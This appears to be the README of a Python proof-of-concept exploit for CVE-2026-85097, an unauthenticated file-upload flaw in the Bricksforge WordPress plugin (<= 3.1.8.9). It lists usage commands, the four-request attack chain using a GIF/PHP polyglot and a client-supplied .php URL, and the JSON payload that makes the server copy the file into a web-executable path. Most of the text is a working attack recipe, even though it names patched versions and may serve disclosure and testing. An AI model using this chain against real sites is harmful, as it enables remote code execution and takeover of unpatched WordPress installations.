Python PoC exploiting CVE-2026-85097, an unauthenticated file upload in Bricksforge <= 3.1.8.9, using a GIF/PHP polyglot and URL mismatch to achieve RCE.
Bricksforge <= 3.1.8.9 unauthenticated file upload → PHP RCE.
temporaryFileUploads.url is taken from the client on form submit. MIME is checked on the first upload, then copy() uses basename($url) as the destination name.
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| Affected | Bricksforge <= 3.1.8.9 |
| Fixed | 3.1.8.10, 4.0.1 |
| Auth | none |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
Needs a live Pro Form. Upload field is optional.
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP polyglot (MIME OK)POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .phpGET /wp-content/uploads/YYYY/MM/*.php — body CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}